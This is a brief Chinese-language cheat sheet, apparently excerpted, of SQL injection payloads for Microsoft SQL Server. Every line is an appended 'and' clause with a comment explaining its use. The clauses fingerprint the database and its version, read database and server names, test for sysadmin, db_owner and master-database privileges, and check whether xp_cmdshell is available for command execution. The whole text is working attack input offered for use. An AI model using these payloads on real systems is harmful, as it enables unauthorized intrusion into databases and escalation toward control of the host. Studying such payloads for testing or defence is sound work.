and exists (select * from sysobjects) //判断数据库是否为sqlserver
and exists (select * from tableName) //判断某表是否存在..tableName为表名
and 1=(select @@VERSION) //sqlserver版本
and 1=(select db_name()) //当前数据库名
and 1=(select @@servername) //本地服务器名
and 1=(select IS_SRVROLEMEMBER( ‘sysadmin’ )) //判断是否为管理员
and 1=(select IS_MEMBER( ‘db_owner’ )) //判断是否是库权限
and 1=(select HAS_DBACCESS( ‘master’ )) //判断是否有库读取权限
and 1=(select count(*)from master.dbo.sysobjects where xtype =’X’ and name =’xp_cmdshell’) //判断xp_CMDSHELL是否存在